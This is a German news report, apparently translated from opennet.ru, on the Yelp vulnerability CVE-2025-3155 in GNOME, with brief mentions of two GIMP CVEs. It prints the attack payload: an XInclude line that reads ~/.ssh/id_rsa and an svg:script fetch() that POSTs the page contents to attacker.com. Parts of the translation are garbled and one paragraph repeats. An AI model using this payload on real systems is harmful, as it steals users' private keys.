Im standardmäßigen Yelp-Viewer, der in GNOME für die Arbeit mit Hilfefunktionen (GNOME-Hilfe) verwendet wird, wurde eine Sicherheitsanfälligkeit (CVE-2025-3155) entdeckt, die es ermöglicht, beliebigen JavaScript-Code auszuführen, wenn speziell gestaltete Page-Dateien geöffnet werden. Die Ausführung solcher Skripte erlaubt es, Benutzerdaten an den Server des Angreifers zu senden. Informationen zur Behebung der Sicherheitsanfälligkeit in den Distributionen finden Sie auf den folgenden Seiten: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.
In GNOME wird zur Öffnung von Dateien mit Handbuchen die URI „ghelp://“ registriert, die über einen Aufruf von Yelp verarbeitet wird. Um anzugreifen, muss der Angreifer es schaffen, seine Datei index.page auf das System des Benutzers zu laden. Beispielsweise kann man den Benutzer täuschen, indem man einen Link auf der Angreifer-Website anklickt, der das Herunterladen der Datei auslöst. Sobald die Datei heruntergeladen ist, kann der Angreifer das Öffnen dieses Dokuments initiieren, indem er im Browser einen Redirect von seiner Seite zur URL ghelp://» mit dem Pfad zum Verzeichnis, in das die Datei hochgeladen wurde, durchführt. Zum Beispiel „ghelp:///proc/self/cwd/Downloads“, wo der Pfad „/proc/self/cwd“ mit dem Arbeitsverzeichnis des aktuellen Prozesses assoziiert ist (bei der Ausführung von Yelp ist dies das Home-Verzeichnis des Benutzers).
Die Schwachstelle ergibt sich aus der Verwendung des Mallard-Formats, das auf XML basiert, in page-Dateien. In diesem Format besteht die Möglichkeit, Inhalte anderer Dateien mithilfe des XInclude-Mechanismus in das Dokument einzufügen. Zur Darstellung von page-Dateien wandelt das Programm Yelp diese aus XML in HTML unter Verwendung von XSLT (yelp-xsl) um und zeigt sie dann mit der WebKitGtk-Engine an. Das Ziel ist es, JavaScript in die resultierende HTML-Datei einzufügen und dieses JavaScript zu verwenden, um zu senden an Server Inhalte, die über XInclude eingefügt wurden.
Um JavaScript einzufügen, wurde genutzt, dass XSLT einige Elemente ohne Überprüfung in HTML kopiert, zum Beispiel, indem das <svg>-Element und seinen gesamten Inhalt unversehrt übernommen werden. So genügt es, die Datei „~/.ssh/id_rsa“ in das page-Dokument mit der Direktive „include“ einzufügen: <include parse=„text“ xmlns=„http://www.w3.org/2001/XInclude“ href=„/proc/self/cwd/.ssh/id_rsa“/> der Server Anschließend wird über das Element <svg:script…> ein Aufruf von JavaScript mit dem Code zur Durchführung eines POST-Requests an einen externen Server unter Verwendung der fetch()-Funktion hinzugefügt: <svg:svg xmlns:svg=„http://www.w3.org/2000/svg“> <svg:script>onload=_=>fetch(„http://attacker.com/“,{method:„POST“,body:document.body.outerHTML,mode:„no-cors“})</svg:script> </svg:svg>
Fügen Sie dann über das Element den JavaScript-Aufruf hinzu, um eine POST-Anfrage an einen externen Server zu senden, indem Sie die Funktion fetch() verwenden: onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})
Zusätzlich sind zwei Schwachstellen (CVE-2025-2761, CVE-2025-2760) im Grafikeditor GIMP zu erwähnen, die dazu führen, dass ein Angreifer beim Öffnen speziell präparierter Bilder im XWD- und FLI-Format Code ausführen kann. Beide Schwachstellen resultieren aus unzureichender Überprüfung der Datenmenge, die während der Analyse des Inhalts der Dateien in den Puffer kopiert wird. Die Schwachstellen wurden in der Version GIMP 3.0.0 behoben.
Quelle: opennet.ru
